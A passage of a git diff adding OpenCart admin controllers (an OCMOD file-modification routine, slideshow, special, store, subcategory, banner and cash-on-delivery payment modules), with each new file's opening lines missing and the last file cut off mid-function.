+ if ((substr($file, 0, 5) == 'admin')) {
+ $path = DIR_APPLICATION . substr($file, 6);
+ }
+
+ if ((substr($file, 0, 6) == 'system')) {
+ $path = DIR_SYSTEM . substr($file, 7);
+ }
+
+ if ($path) {
+ $files = glob($path, GLOB_BRACE);
+
+ if ($files) {
+ foreach ($files as $file) {
+ // Get the key to be used for the modification cache filename.
+ if (substr($file, 0, strlen(DIR_CATALOG)) == DIR_CATALOG) {
+ $key = 'catalog/' . substr($file, strlen(DIR_CATALOG));
+ }
+
+ if (substr($file, 0, strlen(DIR_APPLICATION)) == DIR_APPLICATION) {
+ $key = 'admin/' . substr($file, strlen(DIR_APPLICATION));
+ }
+
+ if (substr($file, 0, strlen(DIR_SYSTEM)) == DIR_SYSTEM) {
+ $key = 'system/' . substr($file, strlen(DIR_SYSTEM));
+ }
+
+ // If file contents is not already in the modification array we need to load it.
+ if (!isset($modification[$key])) {
+ $content = file_get_contents($file);
+
+ $modification[$key] = preg_replace('~\r?\n~', "\n", $content);
+ $original[$key] = preg_replace('~\r?\n~', "\n", $content);
+
+ // Log
+ $log[] = PHP_EOL . 'FILE: ' . $key;
+ }
+
+ foreach ($operations as $operation) {
+ $error = $operation->getAttribute('error');
+
+ // Ignoreif
+ $ignoreif = $operation->getElementsByTagName('ignoreif')->item(0);
+
+ if ($ignoreif) {
+ if ($ignoreif->getAttribute('regex') != 'true') {
+ if (strpos($modification[$key], $ignoreif->textContent) !== false) {
+ continue;
+ }
+ } else {
+ if (preg_match($ignoreif->textContent, $modification[$key])) {
+ continue;
+ }
+ }
+ }
+
+ $status = false;
+
+ // Search and replace
+ if ($operation->getElementsByTagName('search')->item(0)->getAttribute('regex') != 'true') {
+ // Search
+ $search = $operation->getElementsByTagName('search')->item(0)->textContent;
+ $trim = $operation->getElementsByTagName('search')->item(0)->getAttribute('trim');
+ $index = $operation->getElementsByTagName('search')->item(0)->getAttribute('index');
+
+ // Trim line if no trim attribute is set or is set to true.
+ if (!$trim || $trim == 'true') {
+ $search = trim($search);
+ }
+
+ // Add
+ $add = $operation->getElementsByTagName('add')->item(0)->textContent;
+ $trim = $operation->getElementsByTagName('add')->item(0)->getAttribute('trim');
+ $position = $operation->getElementsByTagName('add')->item(0)->getAttribute('position');
+ $offset = $operation->getElementsByTagName('add')->item(0)->getAttribute('offset');
+
+ if ($offset == '') {
+ $offset = 0;
+ }
+
+ // Trim line if is set to true.
+ if ($trim == 'true') {
+ $add = trim($add);
+ }
+
+ // Log
+ $log[] = 'CODE: ' . $search;
+
+ // Check if using indexes
+ if ($index !== '') {
+ $indexes = explode(',', $index);
+ } else {
+ $indexes = array();
+ }
+
+ // Get all the matches
+ $i = 0;
+
+ $lines = explode("\n", $modification[$key]);
+
+ for ($line_id = 0; $line_id < count($lines); $line_id++) {
+ $line = $lines[$line_id];
+
+ // Status
+ $match = false;
+
+ // Check to see if the line matches the search code.
+ if (stripos($line, $search) !== false) {
+ // If indexes are not used then just set the found status to true.
+ if (!$indexes) {
+ $match = true;
+ } elseif (in_array($i, $indexes)) {
+ $match = true;
+ }
+
+ $i++;
+ }
+
+ // Now for replacing or adding to the matched elements
+ if ($match) {
+ switch ($position) {
+ default:
+ case 'replace':
+ $new_lines = explode("\n", $add);
+
+ if ($offset < 0) {
+ array_splice($lines, $line_id + $offset, abs($offset) + 1, array(str_replace($search, $add, $line)));
+
+ $line_id -= $offset;
+ } else {
+ array_splice($lines, $line_id, $offset + 1, array(str_replace($search, $add, $line)));
+ }
+
+ break;
+ case 'before':
+ $new_lines = explode("\n", $add);
+
+ array_splice($lines, $line_id - $offset, 0, $new_lines);
+
+ $line_id += count($new_lines);
+ break;
+ case 'after':
+ $new_lines = explode("\n", $add);
+
+ array_splice($lines, ($line_id + 1) + $offset, 0, $new_lines);
+
+ $line_id += count($new_lines);
+ break;
+ }
+
+ // Log
+ $log[] = 'LINE: ' . $line_id;
+
+ $status = true;
+ }
+ }
+
+ $modification[$key] = implode("\n", $lines);
+ } else {
+ $search = trim($operation->getElementsByTagName('search')->item(0)->textContent);
+ $limit = $operation->getElementsByTagName('search')->item(0)->getAttribute('limit');
+ $replace = trim($operation->getElementsByTagName('add')->item(0)->textContent);
+
+ // Limit
+ if (!$limit) {
+ $limit = -1;
+ }
+
+ // Log
+ $match = array();
+
+ preg_match_all($search, $modification[$key], $match, PREG_OFFSET_CAPTURE);
+
+ // Remove part of the the result if a limit is set.
+ if ($limit > 0) {
+ $match[0] = array_slice($match[0], 0, $limit);
+ }
+
+ if ($match[0]) {
+ $log[] = 'REGEX: ' . $search;
+
+ for ($i = 0; $i < count($match[0]); $i++) {
+ $log[] = 'LINE: ' . (substr_count(substr($modification[$key], 0, $match[0][$i][1]), "\n") + 1);
+ }
+
+ $status = true;
+ }
+
+ // Make the modification
+ $modification[$key] = preg_replace($search, $replace, $modification[$key], $limit);
+ }
+
+ if (!$status) {
+ // Abort applying this modification completely.
+ if ($error == 'abort') {
+ $modification = $recovery;
+ // Log
+ $log[] = 'NOT FOUND - ABORTING!';
+ break 5;
+ }
+ // Skip current operation or break
+ elseif ($error == 'skip') {
+ // Log
+ $log[] = 'NOT FOUND - OPERATION SKIPPED!';
+ continue;
+ }
+ // Break current operations
+ else {
+ // Log
+ $log[] = 'NOT FOUND - OPERATIONS ABORTED!';
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+
+ // Log
+ $log[] = '----------------------------------------------------------------';
+ }
+
+ // Log
+ $ocmod = new Log('ocmod.log');
+ $ocmod->write(implode("\n", $log));
+
+ // Write all modification files
+ foreach ($modification as $key => $value) {
+ // Only create a file if there are changes
+ if ($original[$key] != $value) {
+ $path = '';
+
+ $directories = explode('/', dirname($key));
+
+ foreach ($directories as $directory) {
+ $path = $path . '/' . $directory;
+
+ if (!is_dir(DIR_MODIFICATION . $path)) {
+ @mkdir(DIR_MODIFICATION . $path, 0777);
+ }
+ }
+
+ $handle = fopen(DIR_MODIFICATION . $key, 'w');
+
+ fwrite($handle, $value);
+
+ fclose($handle);
+ }
+ }
+
+ // Maintance mode back to original settings
+ $this->model_setting_setting->editSettingValue('config', 'config_maintenance', $this->maintenance);
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/oc3x_storage_cleaner')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateWidget() {
+ if (!$this->user->hasPermission('access', 'extension/module/oc3x_storage_cleaner') || !$this->user->hasPermission('modify', 'extension/module/oc3x_storage_cleaner') || !$this->config->get('oc3x_storage_cleaner_status')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/module/slideshow.php b/public/admin/controller/extension/module/slideshow.php
new file mode 100644
index 0000000..dc31c00
--- /dev/null
+++ b/public/admin/controller/extension/module/slideshow.php
@@ -0,0 +1,154 @@
+load->language('extension/module/slideshow');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('slideshow', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/slideshow', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/slideshow', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/slideshow', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/slideshow', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['banner_id'])) {
+ $data['banner_id'] = $this->request->post['banner_id'];
+ } elseif (!empty($module_info)) {
+ $data['banner_id'] = $module_info['banner_id'];
+ } else {
+ $data['banner_id'] = '';
+ }
+
+ $this->load->model('design/banner');
+
+ $data['banners'] = $this->model_design_banner->getBanners();
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = '';
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/slideshow', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/slideshow')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/module/special.php b/public/admin/controller/extension/module/special.php
new file mode 100644
index 0000000..ef86dd3
--- /dev/null
+++ b/public/admin/controller/extension/module/special.php
@@ -0,0 +1,152 @@
+load->language('extension/module/special');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('special', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->cache->delete('product');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/special', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/special', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/special', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/special', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['limit'])) {
+ $data['limit'] = $this->request->post['limit'];
+ } elseif (!empty($module_info)) {
+ $data['limit'] = $module_info['limit'];
+ } else {
+ $data['limit'] = 5;
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 200;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 200;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/special', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/special')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/store.php b/public/admin/controller/extension/module/store.php
new file mode 100644
index 0000000..cad1dd9
--- /dev/null
+++ b/public/admin/controller/extension/module/store.php
@@ -0,0 +1,73 @@
+load->language('extension/module/store');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('module_store', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/store', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/module/store', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->post['module_store_admin'])) {
+ $data['module_store_admin'] = $this->request->post['module_store_admin'];
+ } else {
+ $data['module_store_admin'] = $this->config->get('module_store_admin');
+ }
+
+ if (isset($this->request->post['module_store_status'])) {
+ $data['module_store_status'] = $this->request->post['module_store_status'];
+ } else {
+ $data['module_store_status'] = $this->config->get('module_store_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/store', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/store')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/subcategory.php b/public/admin/controller/extension/module/subcategory.php
new file mode 100644
index 0000000..5e6496b
--- /dev/null
+++ b/public/admin/controller/extension/module/subcategory.php
@@ -0,0 +1,104 @@
+load->language('extension/module/subcategory');
+
+ $this->document->setTitle(strip_tags($this->language->get('heading_title')));
+
+ //$this->load->model('setting/setting');
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('subcategory', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+
+
+ /*$this->model_setting_setting->editSetting('module_subcategory', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));*/
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => strip_tags($this->language->get('heading_title')),
+ 'href' => $this->url->link('extension/module/subcategory', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/subcategory', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/subcategory', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ foreach(['name','status', 'category_ids', 'sizes'] as $item){
+
+
+ if (isset($this->request->post[$item])) {
+ $data[$item] = $this->request->post[$item];
+ } elseif (!empty($module_info)) {
+ $data[$item] = $module_info[$item];
+ } else {
+ //$data[$item] = '';
+ }
+
+ }
+
+ $this->load->model('catalog/category');
+
+ $categories = $this->model_catalog_category->getCategories();
+
+ $data['categories'] = array_combine(array_column($categories, 'category_id'), $categories);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/subcategory', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/subcategory')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/wd_banners.php b/public/admin/controller/extension/module/wd_banners.php
new file mode 100644
index 0000000..d99a724
--- /dev/null
+++ b/public/admin/controller/extension/module/wd_banners.php
@@ -0,0 +1,176 @@
+load->language('extension/module/wd_banners');
+
+ $this->document->setTitle(strip_tags($this->language->get('heading_title')));
+
+ $this->load->model('setting/module');
+ $this->load->model('localisation/language');
+ $this->load->model('design/banner');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('wd_banners', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['twig'])) {
+ $data['error_twig'] = $this->error['twig'];
+ } else {
+ $data['error_twig'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/wd_banners', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/wd_banners', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/wd_banners', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/wd_banners', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ $data['THEME'] = $this->config->get('theme_'.$this->config->get('config_theme').'_directory');
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['sizes'])) {
+ $data['sizes'] = $this->request->post['sizes'];
+ } elseif (!empty($module_info)) {
+ $data['sizes'] = $module_info['sizes'];
+ } else {
+ $data['sizes'] = [];
+ }
+
+ if (isset($this->request->post['banner_id'])) {
+ $data['banner_id'] = $this->request->post['banner_id'];
+ } elseif (!empty($module_info['banner_id'])) {
+ $data['banner_id'] = $module_info['banner_id'];
+ } else {
+ $data['banner_id'] = '';
+ }
+
+ $data['banners'] = $this->model_design_banner->getBanners();
+
+ if (isset($this->request->post['fullwidth'])) {
+ $data['fullwidth'] = $this->request->post['fullwidth'];
+ } elseif (!empty($module_info['fullwidth'])) {
+ $data['fullwidth'] = $module_info['fullwidth'];
+ } else {
+ $data['fullwidth'] = '';
+ }
+
+ if (isset($this->request->post['twig'])) {
+ $data['twig'] = $this->request->post['twig'];
+ } elseif (!empty($module_info['twig'])) {
+ $data['twig'] = $module_info['twig'];
+ } else {
+ $data['twig'] = '';
+ }
+
+ if (isset($this->request->post['include'])) {
+ $data['include'] = $this->request->post['include'];
+ } elseif (!empty($module_info['include'])) {
+ $data['include'] = $module_info['include'];
+ } else {
+ $data['include'] = '';
+ }
+
+ if (isset($this->request->post['hide'])) {
+ $data['hide'] = $this->request->post['hide'];
+ } elseif (!empty($module_info['hide'])) {
+ $data['hide'] = $module_info['hide'];
+ } else {
+ $data['hide'] = '';
+ }
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/wd_banners', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/wd_banners')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ $theme_path = $this->config->get('theme_' . $this->config->get('config_theme') . '_directory');
+
+ if(!file_exists(DIR_CATALOG . 'view/theme/' . $theme_path . '/template/extension/module/' . $this->request->post['twig'] . '.twig')){
+ $this->error['twig'] = $this->language->get('error_twig');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/payment/cod.php b/public/admin/controller/extension/payment/cod.php
new file mode 100644
index 0000000..46c351d
--- /dev/null
+++ b/public/admin/controller/extension/payment/cod.php
@@ -0,0 +1,99 @@
+load->language('extension/payment/cod');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('payment_cod', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=payment', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=payment', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/payment/cod', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/payment/cod', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=payment', true);
+
+ if (isset($this->request->post['payment_cod_total'])) {
+ $data['payment_cod_total'] = $this->request->post['payment_cod_total'];
+ } else {
+ $data['payment_cod_total'] = $this->config->get('payment_cod_total');
+ }
+
+ if (isset($this->request->post['payment_cod_order_status_id'])) {
+ $data['payment_cod_order_status_id'] = $this->request->post['payment_cod_order_status_id'];
+ } else {
+ $data['payment_cod_order_status_id'] = $this->config->get('payment_cod_order_status_id');
+ }
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ if (isset($this->request->post['payment_cod_geo_zone_id'])) {
+ $data['payment_cod_geo_zone_id'] = $this->request->post['payment_cod_geo_zone_id'];
+ } else {
+ $data['payment_cod_geo_zone_id'] = $this->config->get('payment_cod_geo_zone_id');
+ }
+
+ $this->load->model('localisation/geo_zone');
+
+ $data['geo_zones'] = $this->model_localisation_geo_zone->getGeoZones();
+
+ if (isset($this->request->post['payment_cod_status'])) {
